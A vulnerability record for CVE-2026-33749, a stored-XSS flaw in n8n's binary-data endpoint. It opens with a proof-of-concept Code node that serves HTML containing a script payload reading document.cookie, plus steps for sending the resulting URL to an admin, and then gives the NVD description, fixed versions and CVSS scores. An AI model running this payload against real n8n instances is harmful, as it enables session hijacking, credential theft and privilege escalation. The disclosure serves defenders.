CVE-2026-33749

// PoC Concept: Create a workflow node that outputs HTML binary data without a filename // 1. Define a malicious workflow node (e.g., Function or Code node) const maliciousWorkflowNode = { "parameters": { "jsCode": "// Generate HTML content with XSS payload\nconst htmlContent = '<script>alert(\'XSS via n8n Binary Data\'); console.log(document.cookie);</script>';\nconst binaryData = Buffer.from(htmlContent).toString('base64');\nreturn [{\n json: {},\n binary: {\n data: {\n data: binaryData,\n mimeType: 'text/html',\n fileName: '' // Critical: Empty filename triggers inline rendering\n }\n }\n}];" }, "name": "Exploit Node", "type": "n8n-nodes-base.code", "typeVersion": 2, "position": [250, 300] }; // 2. Execute the workflow to generate the binary object // 3. Capture the Binary Data ID from the execution result // 4. Construct the malicious URL // Example: https://<n8n-domain>/rest/binary-data/<binary-id> // 5. Send this URL to an admin user. When they visit it, the script executes in their context.

{"cve": {"id": "CVE-2026-33749", "sourceIdentifier": "[email protected]", "published": "2026-03-25T19:16:51.497", "lastModified": "2026-03-27T19:30:08.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. Prior to versions 1.123.27, 2.13.3, and 2.14.1, an authenticated user with permission to create or modify workflows could craft a workflow that produces an HTML binary data object without a filename. The `/rest/binary-data` endpoint served such responses inline on the n8n origin without `Content-Disposition` or `Content-Security-Policy` headers, allowing the HTML to render in the browser with full same-origin JavaScript access. By sending the resulting URL to a higher-privileged user, an attacker could execute JavaScript in the victim's authenticated session, enabling exfiltration of workflows and credentials, modification of workflows, or privilege escalation to admin. The issue has been fixed in n8n versions 1.123.27, 2.13.3, and 2.14.1. Users should upgrade to one of these versions or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Limit workflow creation and editing permissions to fully trusted users only, and/or restrict network access to the n8n instance to prevent untrusted users from accessing binary data URLs. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures."}, {"lang": "es", "value": "n8n es una plataforma de automatización de flujos de trabajo de código abierto. Antes de las versiones 1.123.27, 2.13.3 y 2.14.1, un usuario autenticado con permiso para crear o modificar flujos de trabajo podía elaborar un flujo de trabajo que produjera un objeto de datos binarios HTML sin un nombre de archivo. El endpoint `/rest/binary-data` servía dichas respuestas en línea en el origen de n8n sin los encabezados `Content-Disposition` o `Content-Security-Policy`, permitiendo que el HTML se renderizara en el navegador con acceso completo a JavaScript del mismo origen. Al enviar la URL resultante a un usuario con mayores privilegios, un atacante podría ejecutar JavaScript en la sesión autenticada de la víctima, lo que permitiría la exfiltración de flujos de trabajo y credenciales, la modificación de flujos de trabajo o la escalada de privilegios a administrador. El problema ha sido solucionado en las versiones de n8n 1.123.27, 2.13.3 y 2.14.1. Los usuarios deben actualizar a una de estas versiones o posteriores para remediar la vulnerabilidad. Si la actualización no es posible de inmediato, los administradores deben considerar las siguientes mitigaciones temporales: Limitar los permisos de creación y edición de flujos de trabajo solo a usuarios de plena confianza, y/o restringir el acceso a la red a la instancia de n8n para evitar que usuarios no confiables accedan a las URL de datos binarios. Estas soluciones provisionales no remedian completamente el riesgo y solo deben usarse como medidas de mitigación a corto plazo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction" ... (truncated)